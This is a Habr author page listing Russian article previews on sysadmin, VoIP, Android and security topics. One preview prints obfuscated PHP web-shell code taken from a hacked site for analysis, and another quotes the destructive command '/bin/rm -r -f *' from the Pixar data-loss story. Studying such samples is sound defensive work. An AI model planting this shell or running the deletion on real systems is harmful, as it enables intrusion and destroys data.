Search
Write a publication
Pull to refresh
1
0
Сергей Венедиктов @sven

User

Send message

Десятка лучших консольных команд

Reading time2 min
Views198K
imageВ данном посте я расскажу о наиболее интересных командах, которые могут быть очень полезны при работе в консоли. Однозначных критериев определения какая команда лучше другой — нет, каждый сам для своих условий выбирает лучшее. Я решил построить список команд на основе наиболее рейтинговых приемов работы с консолью от commandlinefu.com, кладовой консольных команд. Результат выполнения одной из таких команд под Linux приведен на картинке. Если заинтересовало, прошу под кат.
Узнать больше

10 вопросов вашему штатному системному администратору

Reading time6 min
Views122K

Которые помогут вам оценить и повлиять на состояние ИТ-инфраструктуры вашей организации




Работа с системным администратором или ИТ-директором (далее по тексту – «ИТ-специалистом») в малом и среднем бизнесе строится обычно на основе субъективных оценок: если все работает «хорошо» – значит специалист «хороший», а если «вечно ломается» — то «плохой». Такой подход к оценке результатов работы системного администратора или ИТ-директора имеет право на жизнь, но я в своей практике встречал ситуации, когда «хороший» ИТ-специалист «вдруг» доводил компанию до недельного простоя и потери деловой информации, и когда «плохой» ИТ-специалист героически пытался исправить трагическое наследие предыдущего «хорошего» администратора.

Вечная головная боль у руководства компании: как организовывать, контролировать и оценивать работу ИТ-службы, ничего не понимая в предметной области? Очень общий совет – обратиться за помощью к внешним консультантам. Но есть ряд простых вопросов, которые позволяют если и не оценить точно, то, как минимум, повлиять на состояние дел в ИТ-инфраструктуре.
Читать дальше →

Случай в Pixar или еще раз о важности тестирования резервных копий

Reading time6 min
Views55K
1998 год, Студия Pixar. Полным ходом идет создание «Истории игрушек 2». В процессе участвует более 150 человек. Размер исходных материалов анимации составляет 10 ГБ (по тем временам это очень много). Каждый день строится полный бэкап на ленту. Кассета имеет размер… 4ГБ (данные при записи на ленту сжимаются, но, конечно, не до такой степени). Каждый раз выдается ошибка, но этого никто не замечает, потому что лог-файл располагается на этой же кассете и пишется в самом конце бэкап-задания, а, поскольку места на кассете уже нет, он имеет размер 0 байт. Каждую неделю проводится тестовое восстановление данных, в ходе которого проверяются первые 2000 кадров анимации. И, конечно, каждый раз тест проходит успешно.

… А потом вдруг наступил день, когда кто-то из сотрудников (ошибочно или намеренно) запустил на сервере команду "/bin/rm -r -f *" (или аналогичную), которая удалила 90% из 100,000 файлов исходников анимации. Один из сотрудников компании, Ларри Катлер, как раз просматривал файлы папки с исходниками анимации, собираясь откорректировать что-то в модели шляпы персонажа Вуди, как вдруг он заметил, что файлов в папке осталось всего 40… потом 4… а еще через секунду их там не осталось вовсе. Ларри позвонил в ИТ службу и сообщил, что "произошла масштабная потеря данных", и что "восстановление потребует полную резервную копию..." Которой, как выяснилось чуть позже, у них не было, несмотря на ежедневный бэкап.

Читать дальше →

PHP-шелл без единого буквенно-цифрового символа

Reading time1 min
Views89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности

Хакаем Transcend WiFi SDHC карту памяти

Reading time10 min
Views147K
Перевод немного вольный, но смысл не потерян. Я (переводчик) заинтересовался этой карточкой давно и почти сразу заказал её, сегодня забрал с почты и не могу нарадоваться, но хочется больше, чем дает Transcend, а карточка, между прочим, Linux сервер с WiFi! Очень много буковок.

С недавнего времени я стал счастливым обладателем карты памяти Transcend WiFi SD, которая позволяет мне передавать фотографии с моей «зеркалки» (которая вообще то Sony NEX, зато компактная) на любое устройство с WiFi за несколько секунд. А так как мне нравится делать фотографии и делиться с ними на лету, то SD карточка, умеющая без проводов передавать картинки на мой телефон, кажется прекрасным решением. И это было так! (хотя всё еще так). Мобильное приложение может… не, должно быть получше (зачем скачивать 7МБ картинку для просмотра, чтобы потом ЕЩЕ раз скачать её, нажав на «Скачать»?), но вообще оно делает своё дело!
Читать дальше →

Взаимодействие клиентов SIP. Часть 1

Reading time5 min
Views245K


Месяц назад я начал свое знакомство с IP-телефонией, а именно с Lync и Asterisk. И заметил следующую картину: в сети очень много интересных статей по практической стороне вопроса (как и что делать) и очень мало внимания уделено теории (в конце статьи приведены ссылки). Если Вы хотите разобраться с SIP, то извольте либо читать RFC 3261, либо одну из «этих толстых книг». Это, естественно, полезно, но многим хочется в начале изучить некую выжимку, а уж потом бросаться в омут с головой. Эта статья как раз для таких людей.
Поехали

Безопасность Asterisk

Reading time18 min
Views93K
Доброго времени суток, Вам, жители Хабра.
Случилось так, что я прошел курс дистанционного обучения по теме «Информационная Безопасность», по завершению которого необходимо было защитить выпускную работу. Темой для данной работы я выбрал «Безопасность Asterisk», касательно данной темы написано очень много статей и публикаций, но на мой взгляд они либо не полны, либо целиком не раскрывают данную тему, либо нет указаний на актуальность данного вопроса. Взял на себя смелость собрать «все» в один документ, что и вылилось в выпускную работу. Защитился успешно, диплом получен — решил поделится с сообществом данной работой.
Читать дальше →

IP-телефония: от медных проводов до цифровой обработки сигнала

Reading time11 min
Views91K


Если в один прекрасный день вам придется на скорую руку разобраться, что есть VoIP (voice over IP) и что значат все эти дикие аббревиатуры, надеюсь, эта методичка поможет. Сразу замечу, что вопросы конфигурирования дополнительных видов обслуживания телефонии (такие как перевод вызова, голосовая почта, конференц-связь и т.п.) здесь не рассматриваются.



Итак, с чем мы будем разбираться под катом:
  1. Базовые понятия телефонии: типы аппаратов, схемы подключения
  2. Связка SIP/SDP/RTP-протоколов: как это работает
  3. Как передается информации о нажатых кнопках
  4. Как происходит передача голоса и факсов
  5. Цифровая обработка сигналов и обеспечение качества звука в IP-телефонии

Читать дальше →

Повышаем безопасность закрытых ssh-ключей

Reading time8 min
Views65K
Вы когда-нибудь интересовались механизмом работы ssh-ключей? Или тем, насколько безопасно они хранятся?

Я использую ssh каждый день много раз — когда запускаю git fetch или git push, когда развертываю код или логинюсь на сервере. Не так давно я осознал, что для меня ssh стал магией, которой я привык пользоваться без понимация принципов ее работы. Мне это не сильно понравилось — я люблю разбираться в инструментах, которые использую. Поэтому я провел небольшое исследование и делюсь с вами результатами.

По ходу изложения встретится много аббревиатур. Они не помогут понять идеи, но будут полезны в том случае, если вы решите погуглить подробности.

Итак, если вам доводилось прибегать к аутентификации по ключу, то у вас, скорее всего, есть файл ~/.ssh/id_rsa или ~/.ssh/id_dsa в домашнем каталоге. Это закрытый (он же приватный) RSA/DSA ключ, а ~/.ssh/id_rsa.pub или ~/.ssh/id_dsa.pub — открытый (он же публичный) ключ. На сервере, на котором вы хотите залогиниться, должна быть копия открытого ключа в ~/.ssh/authorized_keys. Когда вы пытаетесь залогиниться, ssh-клиент подтвержает, что у вас есть закрытый ключ, используя цифровую подпись; сервер проверяет, что подпись действительна и в ~/.ssh/authorized_keys есть открытый ключ, и вы получаете доступ.

Что же хранится внутри закрытого ключа?

Читать дальше →

Справедливые ожидания вашего технического директора

Reading time10 min
Views35K
Я – ваш новый технический директор.

Представьте что мы все временно перенеслись в параллельную вселенную, где я – ваш новый технический директор, и я расскажу вам о своих ожиданиях от коллектива.
Я знаю, что в прошлом у нас были трудности со сроками, качеством кода и удовлетворением нужд клиентов, но как индустрия, как сообщество — мы можем преодолеть их и работать гораздо лучше.

Профессионалы ли мы?

Это главный вопрос. Я расскажу, чего я от вас жду, и это определит ответ на вопрос, профессионалы ли мы.
Читать дальше →

RE: Как бороться с низкокачественными Android приложениями

Reading time2 min
Views104K
В ответ на: habrahabr.ru/post/178673

Я год просидел на Windows Phone и избавился от этого телефона при первой возможности. Теперь у меня Nexus 4.
Windows Phone функционально ужасен. Да и стиль Metro мне не то, чтобы близок.

Но первые две недели я реально пребывал в каком-то культурном шоке. У меня был чистый гуглофон, без всяких там сторонних оболочек, прошивок и приложений. Только чистый гугловый референс.

И, знаете что? Я не понимаю, как такой компании, с такими ресурсами и таким опытом проектирования интерфейсов, хватает совести брать за это деньги.

Обратите внимание на скрин слева. Это стартовый экран LG Nexus 4. Небольшое упражнение:

1) найдите две иконки в одинаковом стиле
2) найдите иконку, которая хорошо смотрится на ярко-оранжевом фоне
3) попробуйте прочитать текст
4) найдите две иконки, выравненные по нижней границе.

Серьёзно. По-моему, это вовсе не разработчики превратили платформу Андроид в кучу яркого хлама без всякого намёка на интерфейсную общность. Это всё сделал сам Гугл.

Под катом ещё дюжина скринов

Как бороться с низкокачественными Android приложениями

Reading time5 min
Views58K
Все согласны, что Google Play переполнен некачественными приложениями, но никто не хочет брать вину на себя — принято винить абстрактный Android или просто Google, который выпустил систему без строгих гайдланов, создал маркет без модерации и дал возможность производителям делать свои оболочки с разноцветными иконками и градиентами.

Но каждый день выходят новые приложения с дизайном из iOS, темами из 2.3, не адаптированные для планшетов и с размытыми картинками на HD-экранах. И в этом виноват не Google, а разработчики. Кто-то не пытается спорить, когда заказчик присылает макеты от iOS версии, кто-то пытается, но сдается. Кто-то разрабатывает приложение ради опыта, откладывая «неважное» на потом, и так оно и остается. Стартапы делают приложения «за день», а потом лихорадочно фиксят баги, создавая снежный ком, который уже никто не перепишет с нуля. Крупные социальные сети, имея деньги и время, каким-то образом умудряются выпускать ужасные клиенты…
Читать дальше →

Школьник об олимпиадном программировании

Reading time11 min
Views141K

Здравствуй, Хабр!
Пишет тебе девятиклассник, призер регионального этапа всероссийской олимпиады по информатике. В последнее время я стал замечать, что у хабражителей повысился интерес к олимпиадам по программированию. Как их активный участник я постараюсь ответить на все вопросы, рассказать о своем пути, привести примеры реальных, запомнившихся мне задач.
Читать дальше →

Приход Фидонета на Android

Reading time2 min
Views33K
Сеть Фидонет на двадцать третьем году своего существования в России приходит на операционную систему Android. Для примера обратите, пожалуйста, внимание вот на этот скриншот, который любезно предоставил Слава Петров (2:5053/54.17):

[скриншот HotdogEd]

Перед вами — вид редактора почты HotdogEd на горизонтально расположенном экране мобильника (или планшета) размером 800×480 пикселов. Как нетрудно видеть, автору HotdogEd (Сергею Позитурину, 2:5020/2140) удалось разместить на экране и список сообщений (в форме деревьев ответов) из некоторой эхоконференции (в данном примере — из локалки Pushkin.Local), и текст одного из сообщений.

Читать дальше →

Оперативная реакция на DDoS-атаки

Reading time4 min
Views51K
Один из ресурсов, за которым я присматриваю, вдруг стал неожиданно популярным как у хороших пользователей, так и у плохих. Мощное, в общем-то, железо перестало справляться с нагрузкой. Софт на сервере самый обычный — Linux,Nginx,PHP-FPM(+APC),MySQL, версии — самые последние. На сайтах крутится Drupal и phpBB. Оптимизация на уровне софта (memcached, индексы в базе, где их не хватало) чуть помогла, но кардинально проблему не решила. А проблема — большое количество запросов, к статике, динамике и особенно базе. Поставил следующие лимиты в Nginx:

на соединения
limit_conn_zone $binary_remote_addr zone=perip:10m;
limit_conn perip 100;

и скорость запросов на динамику (fastcgi_pass на php-fpm)
limit_req_zone $binary_remote_addr zone=dynamic:10m rate=2r/s;
limit_req zone=dynamic burst=10 nodelay;

Сильно полегчало, по логам видно, что в первую зону никто не попадает, зато вторая отрабатывает по полной.

Но плохиши продолжали долбить, и захотелось их отбрасывать раньше — на уровне фаервола, и надолго.

Сначала сам парсил логи, и особо настырных добавлял через iptables в баню. Потом парсил уже по крону каждые 5 минут. Пробовал fail2ban. Когда понял, что плохишей стало очень много, перенёс их в ipset ip hash.

Почти всё хорошо стало, но есть неприятные моменты:
— парсинг/сортировка логов тоже приличное (процессорное) время отнимает
— сервер тупит, если началась новая волна между соседними разборками (логов)

Нужно было придумать как быстро добавлять нарушителей в черный список. Сначала была идея написать/дописать модуль к Nginx + демон, который будет ipset-ы обновлять. Можно и без демона, но тогда придётся запускать Nginx от рута, что не есть красиво. Написать это реально, но понял, что нет столько времени. Ничего похожего не нашёл (может плохо искал?), и придумал вот такой алгоритм.

При привышении лимита, Nginx выбрасывает 503-юю ошибку Service Temporarily Unavailable. Вот я решил на неё и прицепиться!

Для каждого location создаём свою страничку с ошибкой
error_page 503 =429 @blacklist;

И соответствующий именованный location
location @blacklist {
    fastcgi_pass    localhost:1234;
    fastcgi_param   SCRIPT_FILENAME    /data/web/cgi/blacklist.sh;
    include         fastcgi_params;
}

Дальше интересней.
Нам нужна поддержка CGI-скриптов. Ставим, настраиваем, запускаем spawn-fcgi и fcgiwrap. У меня уже было готовое для collectd.

Сам CGI-скрипт
Читать дальше →

Основы безопасности операционной системы Android. Уровень ядра

Reading time6 min
Views101K

Вступление


Самой распространенной операционной системой для смартфонов на сегодняшний день является Android. Но не только этот факт подогревает интерес к ней. Открытость, возможность что-то настроить, подкрутить, и, естественно, сломать тоже в немалой степени способствуют увеличению популярности этой платформы. Я попробую поделиться опытом, как устроена эта операционная система, а так же рассмотреть систему безопасности. Всем, кому интересно, добро пожаловать! В этой статье я рассмотрю безопасность на уровне ядра.
Читать дальше →

Уязвимость нулевого дня в roundcube

Reading time3 min
Views36K
Есть много разного полезного софта, который присутствует на большинстве хостингов. Например, стандартом de-facto является phpmyadmin, отсутствие которого пользователи не поймут и не оценят.

Для почты такое “приложение по умолчанию” — roundcube.

Сегодня мы поговорим о уязвимости zero-day, которая отдает в руки злоумышленнику всю почту ваших пользователей

Читать дальше →

Подразделение Intel выпустило версию Android, оптимизированную под чипы Intel (c поддержкой UEFI)

Reading time1 min
Views68K


Команда разработчиков из Open Source Technology Center компании Intel представила предварительную версию Android, оптимизированную под соответствующие чипы Intel. Другими словами, появилась версия Android, которую можно запустить на десктопном ПК, ноутбуке или планшете, на которых вы обычно работаете с Windows. Кроме того, есть и инструмент, позволяющий запускать и Windows 8, и Android на одном и том же компьютере.

Читать дальше →

Снова о защите персональных данных или готовимся к проверке Роскомнадзора

Reading time11 min
Views184K

Вступление



Всем доброго времени суток! В этой статье я хотел бы еще раз поднять тему защиты персональных данных (далее будем обзывать их — ПДн), а также тему защиты от регуляторов. Пик дебатов на тему защиты ПДн давно прошел. Приходились эти пики как правило на приближение очередного «самого последнего срока» ввода 152-ФЗ в полную силу. В итоге «самый последний срок» наступил, активные дебаты стихли, но закон «О персональных данных» живет, регуляторы устраивают проверки и наказывают нарушителей. Поэтому тема будет еще долго актуальна.

Сразу оговорюсь, что в этой статье в основном будет информация организационного характера, нежели техническая. «А зачем такая информация нужна нам?» — спросит читатель хабра. Объясняю: так уж получилось, что начальники как крупных, так и не очень организаций не любят выстраивать длинные логические цепочки и вникать в суть вопроса, который лежит далеко от их компетенции. Поэтому при возникновении необходимости обеспечения защиты персональных данных строится вполне логичная по их мнению взаимосвязь: «Защита персональных данных» -> «Защита информации» -> «Информационные технологии» -> «Взвалить вопрос защиты ПДн на IT-шников». И пофигу, что в этом вопросе львиную долю можно поручить юристам и кадровикам, но как говорится в бородатом анекдоте: «кому не нравится грузить люминь, пойдет грузить чугуний».

image
Типичный пример разглашения ПДн специальной категории (сведения об интимной жизни)

Читать дальше →

Information

Rating
Does not participate
Location
Санкт-Петербург, Санкт-Петербург и область, Россия
Registered
Activity